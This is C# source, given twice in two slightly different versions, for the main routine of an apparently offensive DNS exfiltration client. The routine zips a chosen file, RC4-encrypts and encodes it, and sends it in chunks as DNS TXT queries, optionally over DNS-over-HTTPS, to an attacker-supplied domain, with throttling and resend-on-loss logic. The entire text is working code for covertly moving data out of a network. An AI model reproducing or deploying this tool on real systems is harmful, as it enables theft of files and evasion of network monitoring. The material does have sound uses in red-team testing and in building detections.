//------------------------------------------------------------------------------------ // MAIN FUNCTION //------------------------------------------------------------------------------------ public static void Main(string[] args) { // Variables string filePath = String.Empty; string domainName = String.Empty; string password = String.Empty; string fileName = String.Empty; bool useDoH = false; // Whether or not to use DoH for resolution string dnsServer = null; int throttleTime = 0; string data = String.Empty; string request = String.Empty; int requestMaxSize = 255; // DNS request max size = 255 bytes int labelMaxSize = 63; // DNS request label max size = 63 chars //-------------------------------------------------------------- // Perform arguments checking if (args.Length < 3) { PrintColor("[!] Missing arguments"); PrintUsage(); return; } filePath = args[0]; domainName = args[1]; password = args[2]; fileName = Path.GetFileName(filePath); if (!File.Exists(filePath)) { PrintColor(String.Format("[!] File not found: {0}", filePath)); return; } // Do we have additionnal arguments ? if (new[] { 4, 5, 6, 7 }.Contains(args.Length)) { int i = 3; int param; while (i < args.Length) { if (args[i].StartsWith("s=")) { dnsServer = args[i].Split('=')[1]; PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer)); } else if (args[i].StartsWith("t=")) { throttleTime = Convert.ToInt32(args[i].Split('=')[1]); PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime)); } else if (args[i].StartsWith("r=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 255) { requestMaxSize = param; } PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize)); } else if (args[i].StartsWith("l=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 63) { labelMaxSize = param; } PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize)); } else if (args[i] == "-h") { useDoH = true; PrintColor("[*] Using DNS over HTTP for name resolution."); } i++; } } //-------------------------------------------------------------- // Compress and encrypt the file in memory PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath)); using (var zipStream = new MemoryStream()) { using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) { var entryFile = archive.CreateEntry(fileName); using (var entryStream = entryFile.Open()) using (var streamWriter = new BinaryWriter(entryStream)) { streamWriter.Write(File.ReadAllBytes(filePath)); } } zipStream.Seek(0, SeekOrigin.Begin); PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}], then converting it to a base64 representation", password)); data = Encode(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length)); } //-------------------------------------------------------------- // Compute the size of the chunk and how it can be split into subdomains (labels) // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873 // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number: // <chunk_number>.<data>.<data>.<data>.domainName. int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2); // domain name space usage in bytes int nbFullLabels = bytesLeft / (labelMaxSize + 1); int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1; int chunkMaxSize = nbFullLabels * labelMaxSize + smallestLabelSize; int nbChunks = data.Length / chunkMaxSize + 1; PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize)); PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks)); //-------------------------------------------------------------- // Send the initial request advertising the fileName and the total number of chunks request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName; PrintColor("[*] Sending 'init' request"); string reply = String.Empty; try { if (useDoH) { reply = DOHResolver.GetTXTRecord(request); } else { reply = DnsResolver.GetTXTRecord(request, dnsServer); } if (reply != "OK") { PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0])); return; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } //-------------------------------------------------------------- // Send all chunks of data, one by one PrintColor("[*] Sending data..."); string chunk = String.Empty; int chunkIndex = 0; int countACK; for (int i = 0; i < data.Length;) { // Get a first chunk of data to send chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i)); int chunkLength = chunk.Length; // First part of the request is the chunk number request = chunkIndex.ToString() + "."; // Then comes the chunk data, split into sublabels int j = 0; while (j * labelMaxSize < chunkLength) { request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + "."; j++; } // Eventually comes the top level domain name request += domainName; // Send the request try { if (useDoH) { reply = DOHResolver.GetTXTRecord(request); } else { reply = DnsResolver.GetTXTRecord(request, dnsServer); } countACK = Convert.ToInt32(reply); if (countACK != chunkIndex) { PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK)); } else { i += chunkMaxSize; chunkIndex++; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } // Apply throttle if requested if (throttleTime != 0) { Thread.Sleep(throttleTime); } } PrintColor("[*] DONE !"); } // End Main
// MAIN FUNCTION public static void Main(string[] args) { // Parameters bool useBase32 = false; // Whether or not to use Base32 for data encoding bool useDoH = false; // Whether or not to use DoH for name resolution string dohProvider = string.Empty; // Which DoH server to use: google or cloudflare string dnsServer = null; int throttleTime = 0; string data; string request; int requestMaxSize = 255; // DNS request max size = 255 bytes int labelMaxSize = 63; // DNS request label max size = 63 chars // Perform arguments checking if (args.Length < 3) { PrintColor("[!] Missing arguments"); PrintUsage(); return; } string filePath = args[0]; string domainName = args[1]; string password = args[2]; string fileName = Path.GetFileName(filePath); if (!File.Exists(filePath)) { PrintColor($"[!] File not found: {filePath}"); return; } // Do we have additional arguments? if (new[] { 4, 5, 6, 7 }.Contains(args.Length)) { int i = 3; while (i < args.Length) { if (args[i].StartsWith("s=")) { dnsServer = args[i].Split('=')[1]; PrintColor($"[*] Working with DNS server [{dnsServer}]"); } else if (args[i].StartsWith("t=")) { throttleTime = Convert.ToInt32(args[i].Split('=')[1]); PrintColor($"[*] Setting throttle time to [{throttleTime}] ms"); } else { int param; if (args[i].StartsWith("r=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 255) { requestMaxSize = param; } PrintColor($"[*] Setting DNS request max size to [{requestMaxSize}] bytes"); } else if (args[i].StartsWith("l=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 63) { labelMaxSize = param; } PrintColor($"[*] Setting label max size to [{labelMaxSize}] chars"); } else if (args[i].StartsWith("h=")) { dohProvider = args[i].Split('=')[1]; if (dohProvider.Equals("google") || dohProvider.Equals("cloudflare")) { if (dohProvider.Equals("cloudflare")) { useBase32 = true; } useDoH = true; PrintColor("[*] Using DNS over HTTP for name resolution."); } else { PrintColor("[!] Error with DoH parameter."); PrintUsage(); return; } } else if (args[i] == "-b32") { useBase32 = true; } } i++; } } // Compress and encrypt the file in memory PrintColor($"[*] Compressing (ZIP) the [{filePath}] file in memory"); using (MemoryStream zipStream = new MemoryStream()) { using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) { var entryFile = archive.CreateEntry(fileName); using (var entryStream = entryFile.Open()) using (BinaryWriter streamWriter = new BinaryWriter(entryStream)) { streamWriter.Write(File.ReadAllBytes(filePath)); } } zipStream.Seek(0, SeekOrigin.Begin); PrintColor($"[*] Encrypting the ZIP file with password [{password}]"); // Should we use base32 encoding? // CloudFlare requires it because of Knot server doing case randomization which breaks base64 if (useBase32) { PrintColor("[*] Encoding the data with Base32"); data = ToBase32(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); } else { PrintColor("[*] Encoding the data with Base64URL"); data = ToBase64Url(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); } PrintColor($"[*] Total size of data to be transmitted: [{data.Length}] bytes"); } // Compute the size of the chunk and how it can be split into subdomains (labels) // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873 // // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number: // <chunk_number>.<data>.<data>.<data>.domainName. int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2); // domain name space usage in bytes int nbFullLabels = bytesLeft / (labelMaxSize + 1); int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1; int chunkMaxSize = nbFullLabels * labelMaxSize + smallestLabelSize; int nbChunks = data.Length / chunkMaxSize + 1; PrintColor($"[+] Maximum data exfiltrated per DNS request (chunk max size): [{chunkMaxSize}] bytes"); PrintColor($"[+] Number of chunks: [{nbChunks}]"); // Send the initial request advertising the fileName and the total number of chunks, with Base32 encoding in all cases if (useBase32) { request = "init." + ToBase32(Encoding.UTF8.GetBytes($"{fileName}|{nbChunks}")) + ".base32." + domainName; } else { request = "init." + ToBase32(Encoding.UTF8.GetBytes($"{fileName}|{nbChunks}")) + ".base64." + domainName; } PrintColor("[*] Sending 'init' request"); string reply; try { reply = useDoH ? DOHResolver.GetTxtRecord(dohProvider, request) : DnsResolver.GetTxtRecord(request, dnsServer); if (reply != "OK") { PrintColor($"[!] Unexpected answer for an initialization request: [{reply[0]}]"); return; } } catch (Win32Exception e) { PrintColor($"[!] Unexpected exception occured: [{e.Message}]"); return; } // Send all chunks of data, one by one PrintColor("[*] Sending data..."); int chunkIndex = 0; for (int i = 0; i < data.Length;) { // Get a first chunk of data to send string chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i)); int chunkLength = chunk.Length; // First part of the request is the chunk number request = chunkIndex + "."; // Then comes the chunk data, split into sub-labels int j = 0; while (j * labelMaxSize < chunkLength) { request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - j * labelMaxSize)) + "."; j++; } // Eventually comes the top level domain name request += domainName; // Send the request try { reply = useDoH ? DOHResolver.GetTxtRecord(dohProvider, request) : DnsResolver.GetTxtRecord(request, dnsServer); int countAck = Convert.ToInt32(reply); if (countAck != chunkIndex) { PrintColor($"[!] Chunk number [{countAck}] lost.\nResending."); } else { i += chunkMaxSize; chunkIndex++; } } catch (Win32Exception e) { PrintColor($"[!] Unexpected exception occured: [{e.Message}]"); return; } // Apply throttle if requested if (throttleTime != 0) { Thread.Sleep(throttleTime); } } PrintColor("[*] DONE !"); }